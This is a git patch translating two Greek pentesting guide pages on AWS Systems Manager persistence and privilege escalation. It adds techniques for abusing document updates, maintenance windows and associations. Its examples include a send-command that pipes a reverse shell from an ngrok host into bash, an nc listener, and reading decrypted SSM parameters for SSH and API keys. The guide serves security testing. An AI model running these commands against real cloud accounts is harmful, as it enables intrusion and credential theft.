From 2e3b550feca5e6785e7b171300a662e1fc547c74 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 21 Apr 2026 08:25:17 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-s --- .../aws-ssm-persistence/README.md | 56 ++++++++++- .../aws-ssm-privesc/README.md | 97 ++++++++++++++----- 2 files changed, 126 insertions(+), 27 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md index feb510851..71e09328a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -4,7 +4,7 @@ ## SSM -Για περισσότερες πληροφορίες δείτε: +Για περισσότερες πληροφορίες δες: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -12,7 +12,7 @@ ### Using ssm:CreateAssociation for persistence -Ένας επιτιθέμενος με την άδεια **`ssm:CreateAssociation`** μπορεί να δημιουργήσει ένα State Manager Association για να εκτελεί αυτόματα εντολές σε EC2 instances που διαχειρίζεται το SSM. Αυτές οι associations μπορούν να ρυθμιστούν να εκτελούνται σε σταθερά διαστήματα, καθιστώντας τες κατάλληλες για backdoor-like persistence χωρίς interactive sessions. +Ένας attacker με το permission **`ssm:CreateAssociation`** μπορεί να δημιουργήσει ένα State Manager Association για να εκτελεί αυτόματα commands σε EC2 instances που διαχειρίζονται από το SSM. Αυτά τα associations μπορούν να ρυθμιστούν ώστε να εκτελούνται σε σταθερό interval, καθιστώντας τα κατάλληλα για persistence τύπου backdoor χωρίς interactive sessions. ```bash aws ssm create-association \ --name SSM-Document-Name \ @@ -22,6 +22,56 @@ aws ssm create-association \ --association-name association-name ``` > [!NOTE] -> Αυτή η μέθοδος persistence λειτουργεί εφόσον το EC2 instance διαχειρίζεται από Systems Manager, ο SSM agent εκτελείται, και ο attacker έχει άδεια να δημιουργεί associations. Δεν απαιτεί διαδραστικές συνεδρίες ή ρητές άδειες ssm:SendCommand. **Σημαντικό:** Η παράμετρος `--schedule-expression` (π.χ., `rate(30 minutes)`) πρέπει να σέβεται το ελάχιστο διάστημα των 30 λεπτών της AWS. Για άμεση ή εφάπαξ εκτέλεση, παραλείψτε εντελώς το `--schedule-expression` — η association θα εκτελεστεί μία φορά μετά τη δημιουργία. +> Αυτή η μέθοδος persistence λειτουργεί όσο το EC2 instance διαχειρίζεται από Systems Manager, το SSM agent τρέχει, και ο attacker έχει permission να δημιουργεί associations. Δεν απαιτεί interactive sessions ή explicit ssm:SendCommand permissions. **Important:** η παράμετρος `--schedule-expression` (π.χ. `rate(30 minutes)`) πρέπει να τηρεί το ελάχιστο interval των 30 minutes του AWS. Για άμεση ή one-time εκτέλεση, παράλειψε εντελώς το `--schedule-expression` — το association θα εκτελεστεί μία φορά μετά τη δημιουργία. + +### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`) + +Ένας attacker με τα permissions **`ssm:UpdateDocument`** και **`ssm:UpdateDocumentDefaultVersion`** μπορεί να escalates privileges τροποποιώντας υπάρχοντα documents. Αυτό επιτρέπει επίσης persistence μέσα σε αυτό το document. Πρακτικά ο attacker θα χρειαζόταν επίσης το **`ssm:ListDocuments`** για να πάρει τα ονόματα των custom documents και, αν ο attacker θέλει να obfuscate το payload του μέσα σε ένα υπάρχον document, το **`ssm:GetDocument`** θα ήταν απαραίτητο επίσης. +```bash +aws ssm list-documents +aws ssm get-document --name "target-document" --document-format YAML +# You will need to specify the version you're updating +aws ssm update-document \ +--name "target-document" \ +--document-format YAML \ +--content "file://doc.yaml" \ +--document-version 1 +aws ssm update-document-default-version --name "target-document" --document-version 2 +``` +Παρακάτω είναι ένα example document που μπορεί να χρησιμοποιηθεί για να overwrite ένα existing document. Θα θέλεις να διασφαλίσεις ότι ο τύπος του document σου ταιριάζει με τον τύπο του target document για να αποφύγεις issues με την innvocation. Το παρακάτω document για instance θα το **`ssm:SendCommand`** και **`ssm:CreateAssociation`** examples. +```yaml +schemaVersion: '2.2' +description: Execute commands on a Linux instance. +parameters: +commands: +type: StringList +description: "The commands to run." +displayType: textarea +mainSteps: +- action: aws:runShellScript +name: runCommands +inputs: +runCommand: +- "id > /tmp/pwn_test.txt" +``` +### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`) + +Ένας attacker με τα permissions **`ssm:RegisterTaskWithMaintenanceWindow`** και **`ssm:RegisterTargetWithMaintenanceWindow`** μπορεί να κάνει privilege escalation καταχωρώντας πρώτα έναν νέο target σε ένα υπάρχον maintenance window και στη συνέχεια ενημερώνοντας καταχωρώντας ένα νέο task. Αυτό επιτυγχάνει execution στους υπάρχοντες targets, αλλά μπορεί να επιτρέψει σε έναν attacker να compromise compute με διαφορετικά roles με την καταχώρηση νέων targets. Αυτό επίσης επιτρέπει persistence, καθώς τα maintenance windows tasks εκτελούνται σε ένα προ-καθορισμένο interval κατά τη δημιουργία του window. Στην πράξη ο attacker θα χρειαζόταν επίσης **`ssm:DescribeMaintenanceWindows`** για να πάρει τα maintenance window IDs. +``` bash +aws ec2 describe-instances +aws ssm describe-maintenance-window +aws ssm register-target-with-maintenance-window \ +--window-id "" \ +--resource-type "INSTANCE" \ +--targets "Key=InstanceIds,Values=" +aws ssm register-task-with-maintenance-window \ +--window-id "" \ +--task-arn "AWS-RunShellScript" \ +--task-type "RUN_COMMAND" \ +--targets "Key=WindowTargetIds,Values=" \ +--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \ +--max-concurrency 50 \ +--max-errors 100 +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md index 2214d4aa5..35a358db4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -4,7 +4,7 @@ ## SSM -Για περισσότερες πληροφορίες σχετικά με το SSM δείτε: +Για περισσότερες πληροφορίες σχετικά με το SSM, δες: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,7 +12,7 @@ ### `ssm:SendCommand` -Ένας attacker με την άδεια **`ssm:SendCommand`** μπορεί να **εκτελέσει εντολές σε instances** που τρέχουν τον Amazon SSM Agent και να **παραβιάσει το IAM Role** που τρέχει μέσα σε αυτά. +Ένας attacker με το permission **`ssm:SendCommand`** μπορεί να **εκτελέσει commands σε instances** που τρέχουν το Amazon SSM Agent και να **compromise το IAM Role** που εκτελείται μέσα σε αυτό. ```bash # Check for configured instances aws ssm describe-instance-information @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -Σε περίπτωση που χρησιμοποιείτε αυτήν την τεχνική για να escalate privileges μέσα σε ένα ήδη compromised EC2 instance, μπορείτε απλά να καταγράψετε το rev shell τοπικά με: +Σε περίπτωση που χρησιμοποιείς αυτή την technique για να κάνεις escalate privileges μέσα σε ένα ήδη compromised EC2 instance, μπορείς απλώς να capture το rev shell τοπικά με: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance @@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**Πιθανός Αντίκτυπος:** Άμεση privesc στα EC2 IAM roles που είναι συνημμένα σε instances που τρέχουν SSM Agents. +**Πιθανό Impact:** Άμεσο privesc στους EC2 IAM ρόλους που είναι attached σε running instances με ενεργούς SSM Agents. ### `ssm:StartSession` -Ένας επιτιθέμενος με την άδεια **`ssm:StartSession`** μπορεί να **ξεκινήσει μια σύνδεση τύπου SSH σε instances** που τρέχουν τον Amazon SSM Agent και να **compromise the IAM Role** που τρέχει μέσα σε αυτήν. +Ένας attacker με το permission **`ssm:StartSession`** μπορεί να **ξεκινήσει ένα SSH like session σε instances** που τρέχουν το Amazon SSM Agent και να **compromise τον IAM Role** που εκτελείται μέσα σε αυτό. ```bash # Check for configured instances aws ssm describe-instance-information @@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active aws ssm start-session --target "$INSTANCE_ID" ``` > [!CAUTION] -> Για να ξεκινήσετε μια συνεδρία χρειάζεται να έχετε εγκαταστήσει το **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> Για να ξεκινήσεις μια session χρειάζεσαι το **SessionManagerPlugin** εγκατεστημένο: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potential Impact:** Άμεσο privesc στα EC2 IAM roles που είναι attached σε εκτελούμενες instances με ενεργούς SSM Agents. +**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. -#### Privesc σε ECS +#### Privesc to ECS -Όταν οι **ECS tasks** τρέχουν με **`ExecuteCommand` enabled** χρήστες με επαρκή δικαιώματα μπορούν να χρησιμοποιήσουν `ecs execute-command` για να **εκτελέσουν μια εντολή** μέσα στο container.\ -Σύμφωνα με [**την τεκμηρίωση**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) αυτό γίνεται δημιουργώντας ένα ασφαλές κανάλι μεταξύ της συσκευής που χρησιμοποιείτε για να ξεκινήσετε την “_exec_“ εντολή και του στοχευμένου container με το SSM Session Manager. (SSM Session Manager Plugin απαραίτητο για να λειτουργήσει αυτό)\ -Επομένως, χρήστες με `ssm:StartSession` θα μπορούν να **αποκτήσουν shell μέσα σε ECS tasks** με αυτή την επιλογή ενεργοποιημένη απλώς εκτελώντας: +Όταν τα **ECS tasks** τρέχουν με το **`ExecuteCommand` enabled**, οι users με αρκετά permissions μπορούν να χρησιμοποιήσουν `ecs execute-command` για να **execute a command** μέσα στο container.\ +Σύμφωνα με [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) αυτό γίνεται δημιουργώντας ένα secure channel μεταξύ της device που χρησιμοποιείς για να ξεκινήσεις την “_exec_“ command και του target container με το SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\ +Therefore, users με `ssm:StartSession` θα μπορούν να **get a shell inside ECS tasks** με αυτήν την option enabled απλά τρέχοντας: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` ![](<../../../images/image (185).png>) -**Πιθανός Αντίκτυπος:** Άμεση privesc στα `ECS` IAM roles που είναι συνδεδεμένα με running tasks με ενεργοποιημένο το `ExecuteCommand`. +**Potential Impact:** Άμεσο privesc στα `ECS`IAM roles που είναι attached σε running tasks με ενεργοποιημένο `ExecuteCommand`. ### `ssm:ResumeSession` -Ένας attacker με την άδεια **`ssm:ResumeSession`** μπορεί να re-**start a SSH like session in instances** που τρέχουν τον Amazon SSM Agent με κατάσταση SSM συνεδρίας **disconnected** και να **compromise the IAM Role** που τρέχει μέσα σε αυτήν. +Ένας attacker με το permission **`ssm:ResumeSession`** μπορεί να επαν-**ξεκινήσει ένα SSH like session σε instances** που τρέχουν το Amazon SSM Agent με κατάσταση **disconnected** SSM session και να **compromise το IAM Role** που τρέχει μέσα σε αυτό. ```bash # Check for configured instances aws ssm describe-sessions @@ -72,30 +72,30 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**Potential Impact:** Άμεσο privesc στους EC2 IAM roles που είναι συνδεδεμένοι με running instances που έχουν SSM Agents σε λειτουργία και αποσυνδεδεμένες συνεδρίες. +**Potential Impact:** Άμεσο privesc στους EC2 IAM roles που είναι attached σε running instances με SSM Agents που τρέχουν και disconnected sessions. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να απαριθμήσει τα **SSM parameters** και να **τα διαβάσει σε clear-text**. Σε αυτές τις παραμέτρους συχνά μπορείτε να **βρείτε ευαίσθητες πληροφορίες** όπως SSH keys ή API keys. +Ένας attacker με τα αναφερόμενα permissions θα μπορεί να κάνει list τα **SSM parameters** και να τα **διαβάσει σε clear-text**. Σε αυτά τα parameters μπορεί συχνά να **βρει sensitive πληροφορίες** όπως SSH keys ή API keys. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption ``` -**Potential Impact:** Εύρεση ευαίσθητων πληροφοριών μέσα στις παραμέτρους. +**Πιθανό Αντίκτυπο:** Εύρεση ευαίσθητων πληροφοριών μέσα στις παραμέτρους. ### `ssm:ListCommands` -Ένας attacker με αυτή την άδεια μπορεί να απαριθμήσει όλες τις **commands** που στάλθηκαν και, ενδεχομένως, να βρει **ευαίσθητες πληροφορίες** σε αυτές. +Ένας attacker με αυτό το permission μπορεί να κάνει list όλα τα **commands** που στάλθηκαν και, με λίγη τύχη, να βρει **ευαίσθητες πληροφορίες** σε αυτά. ``` aws ssm list-commands ``` -**Potential Impact:** Βρείτε ευαίσθητες πληροφορίες μέσα στις γραμμές εντολών. +**Πιθανή Επίπτωση:** Βρες ευαίσθητες πληροφορίες μέσα στις command lines. ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να απαριθμήσει όλες τις **εντολές** που στάλθηκαν και να **διαβάσει την έξοδο** που παράχθηκε, ελπίζοντας να βρει **ευαίσθητες πληροφορίες** σε αυτή. +Ένας attacker με αυτά τα permissions μπορεί να κάνει list όλα τα **commands** που στάλθηκαν και να **διαβάσει το output** που δημιουργήθηκε, ελπίζοντας να βρει **ευαίσθητες πληροφορίες** σε αυτό. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -103,11 +103,11 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` -**Πιθανός Αντίκτυπος:** Μπορεί να αποκαλυφθούν ευαίσθητες πληροφορίες στην έξοδο των εντολών. +**Πιθανός Αντίκτυπος:** Εντοπισμός ευαίσθητων πληροφοριών μέσα στην έξοδο των command lines. -### Χρήση του ssm:CreateAssociation +### Using ssm:CreateAssociation -Ένας επιτιθέμενος με την άδεια **`ssm:CreateAssociation`** μπορεί να δημιουργήσει ένα State Manager Association για να εκτελεί αυτόματα εντολές σε EC2 instances που διαχειρίζονται από SSM. Αυτές οι associations μπορούν να ρυθμιστούν να εκτελούνται σε σταθερά διαστήματα, καθιστώντας τες κατάλληλες για backdoor-like persistence χωρίς διαδραστικές συνεδρίες. +Ένας attacker με την permission **`ssm:CreateAssociation`** μπορεί να δημιουργήσει ένα State Manager Association για να εκτελεί αυτόματα commands σε EC2 instances που διαχειρίζονται από το SSM. Αυτές οι associations μπορούν να ρυθμιστούν ώστε να εκτελούνται σε σταθερό interval, καθιστώντας τες κατάλληλες για persistence τύπου backdoor χωρίς interactive sessions. ```bash aws ssm create-association \ --name SSM-Document-Name \ @@ -117,11 +117,60 @@ aws ssm create-association \ --association-name association-name ``` > [!NOTE] -> Αυτή η μέθοδος persistence λειτουργεί όσο το EC2 instance διαχειρίζεται από Systems Manager, ο SSM agent τρέχει, και ο επιτιθέμενος έχει άδεια να δημιουργεί associations. Δεν απαιτεί interactive sessions ή ρητές άδειες ssm:SendCommand. **Σημαντικό:** Η παράμετρος `--schedule-expression` (π.χ., `rate(30 minutes)`) πρέπει να σέβεται το ελάχιστο διάστημα που ορίζει η AWS, 30 λεπτά. Για άμεση ή εφάπαξ εκτέλεση, παραλείψτε εντελώς την παράμετρο `--schedule-expression` — η association θα εκτελεστεί μία φορά μετά τη δημιουργία. +> Αυτή η μέθοδος persistence λειτουργεί όσο το EC2 instance διαχειρίζεται από Systems Manager, το SSM agent τρέχει, και ο attacker έχει permission να δημιουργεί associations. Δεν απαιτεί interactive sessions ή explicit `ssm:SendCommand` permissions. **Σημαντικό:** το `--schedule-expression` parameter (π.χ. `rate(30 minutes)`) πρέπει να τηρεί το ελάχιστο interval των 30 minutes του AWS. Για άμεση ή one-time εκτέλεση, παράλειψε εντελώς το `--schedule-expression` — το association θα εκτελεστεί μία φορά μετά τη δημιουργία. +### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`) + +Ένας attacker με τα permissions **`ssm:UpdateDocument`** και **`ssm:UpdateDocumentDefaultVersion`** μπορεί να κάνει privilege escalation τροποποιώντας υπάρχοντα documents. Αυτό επιτρέπει επίσης persistence μέσα σε αυτό το document. Στην πράξη ο attacker θα χρειαζόταν επίσης **`ssm:ListDocuments`** για να πάρει τα ονόματα των custom documents και αν ο attacker θέλει να obfuscate το payload του μέσα σε ένα υπάρχον document, το **`ssm:GetDocument`** θα ήταν επίσης απαραίτητο. +```bash +aws ssm list-documents +aws ssm get-document --name "target-document" --document-format YAML +# You will need to specify the version you're updating +aws ssm update-document \ +--name "target-document" \ +--document-format YAML \ +--content "file://doc.yaml" \ +--document-version 1 +aws ssm update-document-default-version --name "target-document" --document-version 2 +``` +Παρακάτω είναι ένα παράδειγμα εγγράφου που μπορεί να χρησιμοποιηθεί για να αντικαταστήσει ένα υπάρχον έγγραφο. Θα θέλεις να διασφαλίσεις ότι ο τύπος του εγγράφου σου ταιριάζει με τον τύπο των εγγράφων-στόχων για να αποφύγεις προβλήματα με την κλήση. Το παρακάτω έγγραφο, για παράδειγμα, θα το **`ssm:SendCommand`** και **`ssm:CreateAssociation`** παραδείγματα. +```yaml +schemaVersion: '2.2' +description: Execute commands on a Linux instance. +parameters: +commands: +type: StringList +description: "The commands to run." +displayType: textarea +mainSteps: +- action: aws:runShellScript +name: runCommands +inputs: +runCommand: +- "id > /tmp/pwn_test.txt" +``` +### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`) + +Ένας attacker με τα permissions **`ssm:RegisterTaskWithMaintenanceWindow`** και **`ssm:RegisterTargetWithMaintenanceWindow`** μπορεί να κάνει privilege escalation κάνοντας πρώτα register έναν νέο target με ένα υπάρχον maintenance window και μετά ενημερώνοντας κάνοντας register ένα νέο task. Αυτό επιτυγχάνει execution στους υπάρχοντες targets, αλλά μπορεί να επιτρέψει σε έναν attacker να compromise compute με διαφορετικά roles κάνοντας register νέους targets. Αυτό επίσης επιτρέπει persistence, καθώς τα maintenance windows tasks εκτελούνται σε ένα pre-defined interval κατά τη δημιουργία του window. Πρακτικά ο attacker θα χρειαζόταν επίσης **`ssm:DescribeMaintenanceWindows`** για να πάρει τα maintenance window IDs. +``` bash +aws ec2 describe-instances +aws ssm describe-maintenance-window +aws ssm register-target-with-maintenance-window \ +--window-id "" \ +--resource-type "INSTANCE" \ +--targets "Key=InstanceIds,Values=" +aws ssm register-task-with-maintenance-window \ +--window-id "" \ +--task-arn "AWS-RunShellScript" \ +--task-type "RUN_COMMAND" \ +--targets "Key=WindowTargetIds,Values=" \ +--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \ +--max-concurrency 50 \ +--max-errors 100 +``` ### Codebuild -Μπορείτε επίσης να χρησιμοποιήσετε το SSM για να μπείτε σε ένα codebuild project που χτίζεται: +Μπορείς επίσης να χρησιμοποιήσεις το SSM για να μπεις μέσα σε ένα codebuild project που βρίσκεται υπό κατασκευή: {{#ref}} ../aws-codebuild-privesc/README.md